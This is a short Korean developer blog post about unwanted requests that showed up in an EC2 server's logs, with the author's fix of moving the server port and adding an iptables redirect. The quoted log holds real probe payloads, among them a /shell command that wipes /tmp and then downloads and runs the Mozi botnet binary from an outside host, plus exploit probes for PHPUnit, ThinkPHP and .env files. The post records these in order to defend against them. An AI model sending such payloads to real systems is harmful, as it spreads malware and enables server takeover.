[🔧 Back-End Error] #3 / EC2 의도치 않은 요청 차단 / 2021-09-30

[mniYUNSU]

어떤 에러인가요?

• 배포 환경에서 EC2 서버 로그에 의도치 않은 요청이 찍힌걸 확인

에러 메시지

GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws 404 0.206 ms - 10
GET /.env 404 0.211 ms 
POST /Autodiscover/Autodiscover.xml 404 0.214 ms - 10
GET /wp-content/plugins/wp-file-manager/readme.txt 404 0.228 ms - 10
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 404 0.205 ms - 10
POST /api/jsonws/invoke 404 0.168 ms - 10
GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 404 0.199 ms - 10
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 404 0.210 ms - 10

GET /?XDEBUG_SESSION_START=phpstorm 200 0.221 ms - 12

POST /mifs/.;/services/LogService 404 0.217 ms - 10
GET /console/ 404 0.225 ms - 10
GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws 404 0.206 ms - 10
GET /.env 404 0.211 ms - 10

에러 핸들링 방법

• 환경 변수로 설정했던 서버 포트인 80을 변경했다. EC2 인바운드 규칙에 새로운 포트를 추가했고, 서버의 환경 변수를 새로 추가한 포트 번호로 변경했다.
• CloudFront는 80번 포트 응답만 HTTPS 로 바꿔주기 때문에, 새롭게 추가한 포트를 80번 포트로 포워딩 시키는 과정이 추가로 필요했다.

sudo iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 내가 추가한 포트

에러 핸들링을 위해 참고한 레퍼런스 링크

아고라스테이츠